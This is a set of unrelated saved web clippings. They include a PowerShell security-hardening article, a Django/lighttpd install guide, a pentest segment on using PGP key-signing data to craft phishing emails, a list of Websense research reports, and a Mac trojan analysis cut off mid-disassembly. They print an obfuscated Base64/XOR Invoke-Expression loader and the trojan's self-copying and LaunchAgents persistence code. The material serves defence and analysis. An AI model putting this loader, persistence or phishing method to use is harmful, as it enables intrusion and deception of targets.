As you can see in the picture \(top right quadrant\) Powershell is one of the
most used languages on GitHub.

**Hackers use Powershell for the same reasons you do. Because it is more
convenient than twenty years of other popular command line tools. And how does
Powershell compare to all the other scripting languages ot there? Lee Holmes
did an awesome job comparing the most known ones and created different
evaluation categories to compare them all. And this was the outcome:**

<img
src='img/AAEAAQAAAAAAAAtOAAAAJDk0YTg0Y2FlLTYyZjktNDBkOS1hOWI2LTIyNDBkNDFhMmYzYQ.jpg'
width='1150' height='280' />

**Lee Holmes, Azure Management Security, April 10, 2017, Comparison**

* * *
#### **So – Where to start? The Powershell Version\!**

First of all you have to understand the basics when it comes to Powershell
Security. Here we start with the most simple point – this is definetely the
Powershell Version itself – and here you should target always the most current
one which is out there – **Powershell Version 5 \(****WMF 5.1****\)**

Many customers do still use Windows 7 and are going to use it at least to a
decent number for the next 2-3 years. With WMF 5.1 it is **very easy** to
update the Powershell Version on your existing machines to it and this is also
a must do for all the Windows 7 machines. **I got very often tackled with
arguments like “ah we are just in the uprading process to Windows 10 – we
don´t touch our Windows 7 machines anymore.” – I have to be very honest here –
this kind of argumentation is just – stupid. How many computers does an
attacker need to initialize his attack? Correct\! – only one computer.**

**What changes with Version 5?**

Powershell Version 5 adds additional capabilities with the constrained
language, the logging and brings also some improvements regarding JEA. We will
speak about this later on.

**Just update it – it is a must do\!**

* * *
#### **Powershell Version 2 – be aware of\! \(****read here****\)**

<img
src='img/AAEAAQAAAAAAAApQAAAAJGQxODQzYjE1LWRiODMtNGQ2Ny1iMjVlLTZhMjBkNjJhZWY0Mg.jpg'
width='430' height='360' />

There are some attacks targeting the usage of the Powershell Version 2. Why?
No logging. In Windows 10 you can disable the integrated Version 2 via
optionalfeatures and this a important recommendation after having tested it.

* * *
#### **_Speaking about versions – what´s about the OS?_**

**Windows 10** comes along with many security features, which we will describe
later on in very detail. To give you just an overview this are the keywords
you should know about: **Credential Guard, Device Guard, AMSI, WDATP and much
more. In a nutshell – speaking security-wise the recommendation is so easy as
you can image.  
You should migrate to Windows 10 and evaluate all the security features which
can be used.**

* * *
#### **_ExecutionPolicy_**

There it is – the ExecutionPolicy. I cannot even describe how frustrating this
topic sometimes can be. I have been at so many big enterprise customer \(n
clients > 20000\) who used the ExecutionPolicy as a security boundary.

<img
src='img/AAEAAQAAAAAAAA1SAAAAJGY4MGM0YjMzLTljOWYtNDdmNy1hZWVhLWE5NWUzNzlkM2E2NQ.jpg'
width='500' height='344' />

Please remind the following analogy:

**ExecutionPolicy is like a baby door. The ExecutionPolicy keeps babies safe
but every grown-up surpasses it easily.**

There are like over 20 ways to surpass the ExecutionPolicy even as a standard
user. Therefore you should set it via GPO as you like it. \(RemoteSigned
e.g.\) It may prevent some people using Powershell scripts from the internet
but you should not count on it.

* * *
#### **_Powershell Remoting_**

**Powershell is evil – the only thing which is even more insecure is
Powershell Remoting. True? Not even close. Take a****read here.**

**The facts:**

  * always encrypted by default
  * single port 5985 or 5986
  * PowerShell remoting respects all Windows authentication and authorization protocols.
  * It requires local Administrators group membership by default.
  * It can be even hardened with IPFilters and SSL.
  * The improvements in WMF 5.0 \(or WMF 4.0 with KB3000850\) make PowerShell the worst tool of choice for a hacker when you enable script block logging and system-wide transcription.
  * Hackers will leave fingerprints everywhere, unlike popular CMD utilities.

**For this reason, PowerShell should be the only tool you allow for remote
administration.**

You have to just set up a correct right structure in your environment and then
it´s the most secure technology to do remoting.

**Till here we have done our most important and most basic settings as shown
in the following graph:**

<img
src='img/AAEAAQAAAAAAAA2eAAAAJDE1NzU0NDE1LTVkOWQtNDBiYy1hZTg1LTU0MTRiYTgzNWRhNQ.jpg'
width='600' height='227' />

**_Important:_ I will use these graphs in the whole article and extend them
time by time to reach a complete security approach at the end. They should be
read always from the left to the right. The most important points which
normally also don´t take too much invest to implement are mostly oriented to
the left. The more you get into the right area – the more you increase the
security level – but the effort to reach some of the goals is also higher and
comes along with an higher investment of time or money by using new
technologies, setting up dedicated servers or investing human resources.**

* * *
#### **_Securing Privileged Access_**

In the last part I wrote the following sentence:**“You have to just set up a
correct right structure in your environment.” And this topic is completely
about this. We \(Microsoft\) have developed a roadmap to achieve a very
comprehensive approach which is separated into 3 parts:**

<img
src='img/AAEAAQAAAAAAAAxRAAAAJDY3Y2UwYTgxLTllYTgtNDc3Yy05OWJkLWYyODVjNDAwMmM2OA.jpg'
width='600' height='311' />

**Unfortunately this is a very huge topic. The complete approach can be found
in the following link and is worth a read for every security-oriented
person\!**

**https://docs.microsoft.com/en-us/windows-server/identity/securing-
privileged-access/securing-privileged-access**

**For our Powershell Security Approach it is worth a mention but this would
exceed the main topic too much. To consolidate the information I created the
following simplified graph.**

<img
src='img/AAEAAQAAAAAAAAuaAAAAJGZiYWRjODQzLTY5YjEtNDgwZi1hY2MyLWY5YzQ3Y2UxYmU5YQ.jpg'
width='750' height='552' />

* * *
#### **_Modernizing Environment_**

**This is a topic which most of my customers are in. They are planning to
migrate to Windows 10 with new hardware and evaluate all the new security
features which came along with. Starting with the most important ones:**

<img
src='img/AAEAAQAAAAAAAAucAAAAJDM1ZWZlNTI1LTk5NzItNGMyMy1iZmFlLWU3MjBlYjRlZGY1Yw.jpg'
width='600' height='130' />

**One of the biggest attacking vectors is Pass the Hash.** There are also
Powershell modules out there like **mimikatz** which can be used out of to box
for such attacks. It can be described easily – the attacker obtains the
password hashes from one machine and uses them remotely to connect to other
machines and with some other techniques he tries to elevate his rights he is
using. The following picture illustrates this.

<img
src='img/AAEAAQAAAAAAAA0rAAAAJGY5NjU4MzI0LTIzYmEtNDQwZC05OTk3LTk4MDUxNDI4ODc2Mw.jpg'
width='600' height='273' />

**Windows 10 brings this really cool new feature called Credential Guard.**
The hashes are stored in a separate container on which the attacker cannot
read on. As simple as that. Technically spoken this is the process LSAIso
\(isolated\). The communication is done via RPC-Calls.

<img
src='img/AAEAAQAAAAAAAAsRAAAAJGNlOGJhNDI4LTQxOWYtNDZiYy1iNTc5LTIxMzZiMmM4NTNmNQ.jpg'
width='600' height='266' />

**In my opinion the following video just nails it:**

Credential Guard on Windows 10 Enterprise

* * *
The next part which I have put into the topic Modernizing Environment is one
the most important ones speaking of Powershell Security:

<img
src='img/AAEAAQAAAAAAAAruAAAAJDVjMDgyMDBkLTYwNmMtNGJmNy1hNmNiLTYwNzA1NjBlNmE0Nw.jpg'
width='700' height='235' />

#### **Whitelisting / Signing / ConstrainedLanguage / Applocker / Device
Guard**

**Signing allows us to set a trust in the scripts. The signing certificates
can be created by our PKI environment and give even the developers security to
not accidental modify and execute scripts. In combination with DeviceGuard or
Applocker this can be used as a prerequirement for executing it. Only our
signed scripts would then be executed in the FullLanguageMode.**

FullLanguageMode?

First of all we need to get to know what the Full / ConstrainedLanguageMode
is. **Powershell can be used in different****language modes****. If you
configure your ExecutionPolicy and don´t user Powershell Version 5 or
AppLocker / DeviceGuard any attacker can use the FullLanguageMode. So he can
load his COM objects / libraries / classes into his Powershell session as he
likes to.** In the example of mimikatz – he is able to load this framework and
easily capture the credentials out of a Windows 7 device.
**ConstrainedLanguage cuts this ability down massively and breaks nearly all
attacking frameworks.** But how can you enforce Powershell to use the
ConstrainedLanguageMode? And how do you control that some scripts still keep
working and use the FullLanguageMode?

And here comes the Powershell Version into play. First of all you need the
Powershell Version 5 to enforce this. **Coming with Powershell Version 5 you
can enforce this either with Applocker in Allow Mode or DeviceGuard using UMCI
\(User Mode Code Integrity\).**

Damn\! So many technologies and dependencies. Let us first take a look at the
separate technologies.

**Applocker with Powershell Version 5:**

<img
src='img/AAEAAQAAAAAAAAsIAAAAJGUwMDhlMTdiLTk5NTktNDNkNS1hNzllLTg1YmRkYTFlY2JmYg.jpg'
width='600' height='372' />

**The aim should be the usage of Applocker in Allow Mode. The downside of
Applocker is that every admin can deactivate it by stopping the service
AppIDSvc.**

**Scripts that are allowed by the AppLocker policy \(for example: signed by
the enterprise’s trusted code signing certificate, or in a trusted directory\)
are not subject to Constrained Language.**

**Device Guard \(****detailed information****\)**

  * Combination of hardware + software security features
  * Enables businesses to strongly control what is allowed to run
  * Brings mobile-like security protections with support for existing line of business apps
  * UMCI places PowerShell into constrained language mode
  * Device Guard UMCI also applies code integrity rules to DLLs.

#### **What is the whole picture for this?**

<img
src='img/AAEAAQAAAAAAAAocAAAAJDkyNTQwZGEyLTM5NTUtNDZhNi05ZmMxLTk2NTZjNmJhMTI2Yw.jpg'
width='600' height='119' />

Device Guard can be separated from this overview into KMCI and UMCI and you
see how they come into play here. Many customer do just have Applocker in
usage today. The recommendation here would be to start with Applocker
leveraging towards Allow mode in combination with DeviceGuard in KMCI.
Afterwards leveraging Device Guard towards UMCI.

**Code Integrity + Applocker:**

  * **Together, AppLocker and code integrity are the correct technologies for enforcing code and application rules on Windows**
  * **Code integrity best expresses high level expression of trust**
  * **AppLocker allows for granular rules**
  * **Managed through common management tools in Windows 10**

**Now we have learned a lot of new stuff – let us recap the last topic of
Device Guard with Powershell Version 5:**

  * **Device Guard UMCI is another security feature that a defender should consider from a cost/benefit analysis.**
  * **It will always be vulnerable to bypasses, but raises the baseline bar of security.**
  * **So obviously, you would want to use additional security solutions along with Device Guard – e.g. WEF, an anti-malware solution, and to perform periodic compromise/hunt assessments. \(we will dive into this little later\)**

* * *
The last part of the category Modernizing Environment shows our newest defense
technologies.<img
src='img/AAEAAQAAAAAAAAxqAAAAJGJkN2YyZmFiLWEwYTgtNDU3Mi04N2UzLWU0Y2ZmOTg1OTJkMQ.jpg'
width='600' height='179' />

**Anti-Malware Scan Interface** is an interface which can be used by every
Antivirus scanner to evaluate if a script is potentially harmful.

<img
src='img/AAEAAQAAAAAAAA1CAAAAJGI2NTYyMmU1LTUyM2UtNDllNi1hYjgwLTU1NTNmYzUyZThhNA.jpg'
width='600' height='265' />

  * **AMSI enables all of the scripting engines \(PowerShell, VBScript, and JScript\) to request analysis of dynamic content, from a script file, typed commands at the command line, and even code downloaded and executed in memory.**
  * **When code is delivered to the PowerShell “engine” \(System.Management.Automation.dll\), it is sent to the AMSI for anti-malware checks. Windows Defender supports AMSI on Windows 10 just out of the box.**

And this is how it looks like when its working.

<img
src='img/AAEAAQAAAAAAAAyuAAAAJGJjZDJhOWI1LWE5ZDItNGY5Ni05NGEyLTg4MWNkYTUwNjM0Ng.jpg'
width='800' height='152' />

* * *
The next topic is the Windows Defender Advanced Threat Protection. But before
we start with this extremely great feature we throw a look at the Windows 10
Defense Stack:

<img
src='img/AAEAAQAAAAAAAAq6AAAAJDY0NTg1YzA4LWQwMDktNGU3My1iMTE3LWM0OWFlZWU2YzdhMg.jpg'
width='600' height='274' />

As you can see we have two approaches here. Everything what belongs to the
Pre-Breach approach and a second one – the Post-Breach approach. Every good
security person today knows that it is not only anymore about preventing
attacks. The detection of attacks increases in importance day by day. A huge
number of all attacks are even processed without any malicious code. So not
even the best AV on the world can catch these attacks\! Today it is crucial to
have the latest updates. \(You WannaCry again?\)

* * *
####

#### **Advanced Threat Protection**

<img src='img/AAEAAQAAAAAAAAy-
AAAAJGQwZGEyNTBmLTZjNjktNDk3Ny1iN2Y1LTc1N2ZiNDc4MjE5Zg.jpg' width='400'
height='350' />

Windows Defender ATP combines sensors built-in to the operating system with a
powerful security cloud service enabling Security Operations to detect,
investigate, contain, and respond to advanced attacks against their network.

Herefore the Microsoft Intelligent Security Graph is used which stores all
information and creates patterns for different attacks by different hacker
groups.

<img
src='img/AAEAAQAAAAAAAA2BAAAAJDRkMzg5ZWM5LTY0YjAtNDQ2Ni04YzI5LTA4M2MwYWY3MjYwMw.jpg'
width='600' height='338' />

Gathering all the necessary information at the customer side:

<img
src='img/AAEAAQAAAAAAAAwQAAAAJGQxY2JmOTQ5LTE1OWItNDhlMC1iZDEyLTYwNWZkODZkNDc5MQ.jpg'
width='600' height='345' />

You can easily view what happened and which events correlate to each other:

<img
src='img/AAEAAQAAAAAAAAv9AAAAJDkzY2ViODRjLWUxMGEtNGU4NS04ZTM1LWEyYzU4NDgxYmZiNg.jpg'
width='900' height='389' />

In this example you can see a NEROBLAZE attack and can initialize your
response to this. ATP is built-in in Windows Defender – therefore you can
trigger actions which normally need elevated rights. For example – cutting
down network connections, shutting down processes and many more. Also you
would get to know where this email with this attachment landed in your
environment to proactively prevent all users from opening the attachment.

* * *
#### **_Logging_**

<img
src='img/AAEAAQAAAAAAAAp4AAAAJDI0MmRjM2UwLWJmNjEtNDVhMS1iOWUxLTRmYzA4ZGFmODIwNw.jpg'
width='600' height='161' />

**Coming with Powershell Version 5 we have the additional logging capabilities
of ScriptBlock-Logging.****Read Here****.**

**The problem for some customers is to store and evaluate all the logging
data. But this is a topic you should be aware of as for the following
recommendations:**

<img
src='img/AAEAAQAAAAAAAAztAAAAJDc4NTAwNDA0LWE5ODItNDg4Ni05NjAxLWFkMDAzNjBmNzZmOQ.jpg'
width='500' height='252' />

You should actually activate all three log sources because you want to detect
ongoing attacks and cannot prevent every attack. We are here again in the
previously described Post-Breach Approach where we want to detect intrusions
as fast as possible. Also it leverages us to do afterwards a good forensic
analysis – how the hackers entered into our system and what the main targets
have been. \(**must read**\)

#### **ScriptBlockLogging**

Script block logging provides the ability to log de-obfuscated PowerShell code
to the event log. Most attack tools are obfuscated, often using Base64
encoding, before execution to make it more difficult to detect or identify
what code actually ran. Script block logging logs the actual code delivered to
the PowerShell engine before execution which is possible since the script code
needs to be de-obfuscated before execution.

Since many PowerShell attacks obfuscate the attack code, it is difficult to
identify what the script code does. Script block logging de-obfucates the code
and logs the code that is executed. Since this code is logged, it can be
alerted on when seen by a central logging system.

One key challenge with identifying offensive PowerShell code is that most of
the time it is obfuscated \(Base64, Base64+XOR, etc\). This makes real-time
analysis nearly impossible since there is no keyword to trigger alerts on.

Deep Script Block Logging records the content of the script blocks it
processes as well as the generated script code at execution time.

Microsoft-provided example of obfuscated command code:  
``

[code]

    ## Malware
    function SuperDecrypt
    {
        param($script)
        $bytes = [Convert]::FromBase64String($script)
        ## XOR “encryption”
        $xorKey = 0x42
        for($counter = 0; $counter -lt $bytes.Length; $counter++)
    {
        $bytes[$counter] = $bytes[$counter] -bxor $xorKey
    }
        [System.Text.Encoding]::Unicode.GetString($bytes)
    }
    $decrypted = SuperDecrypt “FUIwQitCNkInQm9CCkItQjFCNkJiQmVCEkI1QixCJkJlQg==”
    Invoke-Expression $decrypted
    
[/code]

#### **_Extended Logging / WEF and JEA_**

But with enabling the logs you didn´t win anything. You surely have to examine
the content of the logs. Therefore you should evaluate between **WEF** and
SIEM solutions. The main aim is to centralize all the log data and examine the
logging data. \(automatically with keywords\)  
I will dive into these topics in later blog articles.

<img
src='img/AAEAAQAAAAAAAAo2AAAAJGRkZGU0NGRiLTZmMjUtNDcyOC04NDVkLTgxOTFlYTBkYjU5Yw.jpg'
width='800' height='255' />

* * *
#### **Just Enough Administration \(****read here****\)**

**JEA allows specific users to perform designated administrative tasks on
designated servers without giving them full administrator rights. JEA is based
on Windows PowerShell-constrained run spaces, a technology used at Microsoft
to help secure administrative tasks in environments like Exchange Online /
Active Directory.**

<img
src='img/AAEAAQAAAAAAAAvYAAAAJDg2Mzk1ODZkLWFhM2QtNGZmOC1iZWE4LThkODAzNWM0ODJlYg.jpg'
width='600' height='393' />

* * *
#### **_The whole Picture graphs:_**

**Till here we have read a lot \(\!\) of information. The next complete graphs
will show the whole work which has to be done:  
****To fulfill the complete Powershell Security Approach all of the three
graphs should be addressed in parallel – starting from left to the right. \(a
clear priority order will follow in next blog articles\)**

**Everything regarding Powershell itself:**

<img
src='img/AAEAAQAAAAAAAA3FAAAAJDBhNjRjYTJiLTBmOWQtNDUyYS1hMDRmLTY0ZGNmOWY0MDRjOQ.jpg'
width='1050' height='754' />

* * *
**Privileged Access Management simplified:**

<img src='img/wp2.jpg' width='840' height='619' />

* * *
**Modernizing Environment – all the new and updated stuff:**

<img src='img/WP3.jpg' width='943' height='768' />

* * *
#### **_What is important in a nutshell?_**

  * **Powershell Version 5**
  * **Disabling Powershell Version 2 if possible**
  * **Constrained Language enforced via Applocker and/or Device Guard**
  * **Logging, Centralization and Evaluation**
  * **Windows 10 with enabled new Security Features**
  * **A good Priviliged Access Management**

* * *
**_Additional Material:_**

Great Blog from Matt

Introducing Project Sauron – Centralised Storage of Windows Events – Domain
Controller Edition

NSA Methodology for Adversary Obstruction

Spotting the Adversary with Windows Event Log Monitoring

PowerShell ScriptBlockLogging rocks\!

Enabling deep script block logging

Maslow’s Hierarchy of Security Controls

A Comparison of Shell and Scripting Language Security

Greater Visibility Through PowerShell Logging

AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does
It

Shutting down scripts with Applocker

Detecting Offensive PowerShell Attack Tools

PowerShell Security: PowerShell Attack Tools, Mitigation, & Detection

PowerShell Version 5 Security Enhancements

WMImplant – bad news

Tags  Device Guard Logging Security

* * *
  

# The road less traveled: Django + Python + PHP\(optional\) + Lighttpd on
Debian etch

**Created:**| _1/15/2010 4:26:21 PM_  
---|---  
**Updated:**| _1/15/2010 4:26:28 PM_  
**Author:**| __  
**Tags:**| _setup Django_  
  

### Django + Python + PHP\(optional\) + Lighttpd on Debian etch

\(PERMALINK\)

Couldn't find any great howto, so here's how I did it:  
  
It's a good idea to update apt-get:  

> apt-get update
  
  
I didn't want apache running on my system:  

> apache2ctl stop  
> update-rc.d -f apache2 remove
  
  
Install lighttpd:  

> apt-get install lighttpd
  
  
Uncomment these lines from /etc/lighttpd/lighttpd.conf:  

> server.pid-file = "/var/run/lighttpd.pid"  
> "mod\_fastcgi",  
> "mod\_rewrite",
  
\(you may have to add mod\_fastcgi in\)  
  

* * *
  
If you want PHP support:  

> apt-get install php5-cgi
  
  
Add this line to the bottom of /etc/php5/cgi/php.ini  

> cgi.fix\_pathinfo = 1
  
  
Add this to the bottom of vim /etc/lighttpd/lighttpd.conf:  

> fastcgi.server = \(  
> ".php" => \(\(  
> "bin-path" => "/usr/bin/php5-cgi",  
> "socket" => "/tmp/php.socket"  
> \)\)  
> \)
  
  
And add index.php if it's not already there:  

> index-file.names = \( "index.php", "index.html",  
> "index.htm", "default.htm" \)
  
  

* * *
  
  
Python / Django support:  
  
I like python 2.5.1:  

> apt-get install python2.5-dev  
> which python  
> cd to location of python binary  
> ls -lh \(make sure python is a symlink\)  
> rm python  
> ln -s python2.5 python
  
  
subversion to get django \(also just a useful tool to have\)  

> apt-get install subversion
  
  
Make a dir to hold all your install files:  

> mkdir /var/installers  
> cd /var/installers
  
  
Download & install:  

> wget http://peak.telecommunity.com/dist/ez\_setup.py  
> python ez\_setup.py
  
  
Get flup for python support:  

> wget http://www.saddi.com/software/flup/dist/flup-0.5-py2.5.egg  
> easy\_install flup-0.5-py2.5.egg
  
  
Django:  

> svn co http://code.djangoproject.com/svn/django/trunk/ ./django-trunk/  
> cd ./django-trunk  
> python setup.py install
  
  
Edit /etc/lighttpd/lighttpd.conf and change fastcgi.server to:  

> fastcgi.server = \(  
> ".php" => \(\(  
> "bin-path" => "/usr/bin/php5-cgi",  
> "socket" => "/tmp/php.socket"  
> \)\),  
> "django.fcgi" => \(  
> "main" => \(  
> "host" => "127.0.0.1",  
> "port" => 9090, \#set the port numbers to what-eva you want  
> \),  
> \),  
> "admin.fcgi" => \(  
> "admin" => \(  
> "host" => "127.0.0.1",  
> "port" => 9091,  
> \)  
> \)  
> \)
  
\(notice php support - that's optional\)  
  
  
Add rewrite rules to lighttpd.conf:  

> url.rewrite-once = \(  
> "^\(/media.\*\)$" => "$1",  
> "^\(/static.\*\)$" => "$1",  
> "^/favicon\\.ico$" => "/media/favicon.ico",  
> "^\(/admin/.\*\)$" => "/admin.fcgi$1",  
> "^\(/.\*\)$" => "/django.fcgi$1"  
> \)
  
  
Now make blank dummy files to prevent Lighttpd 404 errors:  

> vim /var/www/django.fcgi  
> vim /var/www/admin.fcgi
  
  
Now make a django project directory \(www\):  

> mkdir /var/django  
> cd /var/django
  
  
make a test project:  

> django-admin.py startproject testproject
  
  
Add the following line to the settings.py file of the django project on the
server:  

> FORCE\_SCRIPT\_NAME = ''
  
\(this prevents redirects to django.fcgi\)  
  
start the project:  

>  
> cd ./testproject  
> python manage.py runfcgi method=prefork host=127.0.0.1 port=9090
> pidfile=django.pid
  
Note - using port 127.0.0.1 for runfcgi doesn't limit lighttpd to only that
interface. It's used for communication between lighttpd & runfcgi  
  
now test\!  
http://your\_server\_ip  
  
  
Mysql support \(haven't tested to see if this works\):  
I run my database on a separate server, if you don't, you'll need to set up
mysql server as well. There are plenty of HOWTOS on that, try googling around.  
  

> apt-get install mysql-client
  
\(will add config instructions later, once I do them\)  
  
Install MySQLdb, which lets python easily talk to mysql \(haven't yet
tested/configured this\):  

> apt-get install python-mysqldb
  

# Episode135 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:54:14 PM_  
---|---  
**Updated:**| _8/5/2009 12:54:42 PM_  
**Author:**| __  
**Tags:**| _security tools pauldotcom socialising Tutorials_  
  

# Tech Segment: Information gathering with GPG/PGP keytrusts

Some times you just need to know more about a person...so, bring in the non-
traditional metadata.

Often times during some of the initial phases of a pen test, I find myself
needing some avenues for delivering client side attacks - with permission and
within scope of course\! Now, finding appropriate attacks can be a challenge,
but to me a larger challenge is the social aspect. How can I convince someone
to actually execute my attack? Having a little more information about the
"victim" is helpful.

So, how can we obtain more information? How about some information that
implies some level of familiarity, so that we can spoof names. How about some
context? GPG/PGP Keytrust information can serve us well here\!

NOTE: Be very careful. Use at your own risk. IANAL. For illustration purposes
only. Yada, yada, yada. The folks used as an example here are just that - an
example. This is al public information\!

gpg\_icon.jpgSo, how does a GPG/PGP Key get signed by third parties anyways?
Well, some go to GPG/PGP Keysigning Parties \(Yeah, I know, what nerds. Wait,
I am those nerds\!\). Basically, a bunch of folks meet face to face, verify
government issued IDs, and, based on that trust, sign each other's GPG/PGP
keys. Read the whole shebang here. So, given that HOWTO \(the first hit in
Google for "pgp keysigning party"\), what can we determine about V. Alex
Brennen?

  * He's the author of the document The Keysigning Party HOWTO

  * He's the maintainer of the The Keysigning Party HOWTO as of January 24th, 2008

  * He's likely got some GPG/PGP Keytrust information \(see the first two bullets\)

  * His e-mail address is vab /at/ mit.edu

So, let's look up his GPG/PGP Keysigning info\! Personally, I like to use the
keyserver at MIT \(and given that Mr Brennen's e-mail address is at the
mit.edu domain, we'll likely have some luck there\). Surf on over the page,
and we're given the option to search right on the front page. Now, we can
search for an e-mail of choice, and list all of the individuals that have
signed the particular key for that user. Mr. Brennen obviously has a few\!
Now, in some cases you won't turn up any signers, and you'll pull up a dead
end here.

Key-128x128.pngWhat next? Me, I like to search the list of keysigners for
recognizable names. Someone I know has their GPG/PGP key signed by at least
one recognizable name in the industry, so creating a conversation there might
be very interesting. In any case, if you don't recognize any names, you can
always pick at random. Another method would be to pick a keysigner that has
several e-mails. What's one more to the repertoire - this one you control\!
Create an e-mail at a free service and use it.

With this knowledge of keysigners we might be able to determine some
information that they have in common to exchange e-mails about. In this case,
we know that Mr. Brennen is an internet author on a particular subject. Surely
we can use some social engineering skills to craft an e-mail for this one with
web links or attachments.

Now you might be saying that someone that uses GPG/PGP is a pretty
sophisticated computer. We do all make mistakes, and often that is all it
takes for a compromise - one mistake. So, that being said, it may take all of
your social engineering skills to craft that perfect e-mail. k-gpg-128x128.png
Obviously, if you are using these methods during a test, be sure that it is
within scope of your testing. Get permission\! Make sure they know about
social engineering e-mails, recipients and sources.

On the defense, there is no real way to restrict the posting of the keytrust
info. That public acknowledgement is the basis of the network of trust based
system. Certainly one could Revoke and create new keys, and have no one sign
them.

GPG/PGP works just fine without keysigning. It just isn't as nerdy.

Take these concepts and consider applying them to other mediums, such as
social networking...

  

  

// took a while before I got that :\)

# Attack Information Center - Security Labs

**Created:**| _7/23/2009 11:10:40 AM_  
---|---  
**Updated:**| _7/23/2009 11:11:03 AM_  
**Author:**| __  
**Tags:**| _research papers Laboratory Reports_  
  

At Websense Security Labs, we take pride in the research and in-depth studies
we undertake to stay on top of, and better defend against security threats
worldwide. Below is a selection of our recent work.

**Research Reports**  
06.15.09 | \- | In the Mail, June 2009 »  
---|---|---  
05.12.09 | \- | In the Mail, May 2009 »  
04.15.09 | \- | In the Mail, April 2009 »  
03.10.09 | \- | In the Mail, March 2009 »  
02.09.09 | \- | In the Mail, February 2009 »  
01.05.09 | \- | In the Mail, January 2009 »  
12.01.08 | \- | In the Mail, December 2008 »  
01.21.09 | \- | State of Internet Security Q3-Q4 2008 »  
11.12.08 | \- | In the Mail, November 2008 »  
07.29.08 | \- | State of Internet Security Q1-Q2 2008 »  
12.05.07 | \- | 2008 Threat Predictions Report »  
See All »

  

  

**White Papers**

07/22/09 | \- | Win32 Portable Executable Packing Uncovered »  
---|---|---  
06/08/08 | \- | Storm Worm & Botnet Analysis »  
09/25/08 | \- | Websense ThreatSeeker Network - Leveraging HoneyGrid Computing »  
09/25/08 | \- | Websense Content Research Cortex »  
03.03.08 | \- | Protecting Organizations from Spyware »  
02.03.08 | \- | The Web Isn't Fun Anymore »  
| \- | »  
01.10.07 | \- | Protecting Against Complex Internet Threats »  
See All »

  

  

**Presentations**

06.13.08 | \- | Polymorphic Virus Analysis - RECon, Montreal, Canada - Nicolas Brulez »  
---|---|---  
04.08.08 | \- | Next Generation Honeyclients - RSA, San Francisco, U.S.A. - Dan Hubbard »  
03.26.08 | \- | Wreck-utation - CanSecWest, Vancouver, Canada - Stephan Chenette, Alex Rice »  
11.07.07 | \- | Automated JavaScript Deobfuscation - PacSec, Tokyo, Japan - Stephan Chenette, Alex Rice »  
11.02.07 | \- | Anti-unpack Tricks in Malicious Code - AVAR, Seoul, Korea - Xiaodong Tan »  
08.02.07 | \- | Detecting Web Browser Heap Corruption Attacks - Blackhat, Las Vegas, U.S.A. - Stephan Chenette, Moti Joseph»  
11.16.06 | \- | Crimeware Anti-Reverse Engineering Uncovered - APWG, Orlando, U.S.A. - Nicolas Brulez »  
10.02.05 | \- | Malware Analysis - RuxCon, Sydney, Australia - Nicolas Brulez »

# stratBLOG - stratsec security research: No Café in Tibet, Babe

**Created:**| _4/7/2012 11:33:36 AM_  
---|---  
**Updated:**| _4/7/2012 11:33:36 AM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis File-format_  
  

### No Café in Tibet, Babe

As reported by Alienware, there is a new spearphishing email campaign
circulating in the wild at the moment. The non-governmental organizations
related to Tibet are being forwarded MS Office files that exploit MS09-027
vulnerability.  
  
The malcrafted Microsoft Office Word documents carry a MacOS remote
administration tool. When a user opens such document using Office for Mac, the
shellcode will drop and execute the backdoor trojan and then it will open up a
document with a political content related to Tibet.  
  
The Alienware write-up provides details about the embedded script and dynamic
characteristics of the backdoor trojan.  
  
Let's analyse this trojan statically to reveal the full scope of its
functionality.  
  
First, the Word document binary dump reveals that a bash script that launches
the dropped document is followed with `0xCAFEBABE` \("cafe babe"\) bytes that
mark a Mach-O fat file binary:  
  
<img src='img/Temp2_10649.png' />  
  
When started, the executable will check if its own file name matches
`"/Library/launched"`:  

[code]

      
    DropItselfAsLibraryLaunched:  
            ...  
            mov     edx, ds:executablePath  
            mov     [esp+4], edx  
            mov     [esp], eax  
                                                        ; get current executable path  
            call    _objc_msgSend  
      
            mov     edi, eax  
            mov     esi, ds:Library_launched  
            mov     [esp+8], esi  
            mov     eax, ds:isEqualToString_drain  
            mov     [esp+4], eax  
            mov     [esp], edi  
                                                        ; is it "/Library/launched"?  
            call    _objc_msgSend    
              
            mov     edx, 1  
            test    al, al  
            jnz     quit                                ; if so, then quit  
    
[/code]

  
If its own path file name is not `"/Library/launched"`, it will delete a file
at that location if it exists, and then it will copy itself under that name.  

[code]

      
            mov     dword ptr [esp+8], offset LibraryLaunched  
            mov     eax, ds:fileExistsAtPath  
            mov     [esp+4], eax  
            mov     [esp], ebx  
                                                               ; does /Library/launched exist?  
            call    _objc_msgSend                    
      
            test    al, al  
            jz      short copy_itself  
            mov     dword ptr [esp+8], offset LibraryLaunched  ; "/Library/launched"  
            mov     eax, ds:isDeletableFileAtPath  
            mov     [esp+4], eax  
            mov     [esp], ebx  
                                                               ; can it be deleted?  
            call    _objc_msgSend                                
      
            test    al, al  
            jz      short copy_itself  
            mov     dword ptr [esp+0Ch], 0  
            mov     dword ptr [esp+8], offset LibraryLaunched  ; "/Library/launched"  
            mov     eax, ds:removeItemAtPath                     
            mov     [esp+4], eax  
            mov     [esp], ebx  
                                                               ; delete the file  
            call    _objc_msgSend  
      
    copy_itself:  
      
            mov     dword ptr [esp+10h], 0  
            mov     [esp+0Ch], esi  
            mov     [esp+8], edi  
            mov     eax, ds:moveItemAtPath_toPath                
            mov     [esp+4], eax  
            mov     [esp], ebx  
                                                               ; copy itself  
            call    _objc_msgSend  
    
[/code]

  
Next, it will create a directory `"/Library/LaunchAgents/"` and within that
directory it will create a configuration file
`com.apple.FolderActionsxl.plist`. One of the specified parameters,
`RunAtLoad`, will make sure the trojan starts whenever the system starts.  

[code]

      
    CretePlistFile:  
            ...  
            mov     dword ptr [esp+20h], 0  
            mov     dword ptr [esp+1Ch], offset Runatload   ; "RunAtLoad"  
            mov     [esp+18h], eax  
            mov     dword ptr [esp+14h], offset Program     ; "Program"  
            mov     eax, [ebp+arg_0]  
            mov     [esp+10h], eax  
            mov     dword ptr [esp+0Ch], offset Label       ; "Label"  
            mov     [esp+8], ebx  
            mov     eax, ds:dictionaryWithObjectsAndKeys  
            mov     [esp+4], eax  
            mov     eax, ds:NSDictionary  
            mov     [esp], eax            
                                                            ; create NSDictionary  
                                                            ; with the couples above  
            call    _objc_msgSend  
      
            mov     dword ptr [esp+0Ch], 1  
            mov     edx, [ebp+var_1C]  
            mov     [esp+8], edx  
            mov     edx, ds:writeToFile_atomically  
            mov     [esp+4], edx  
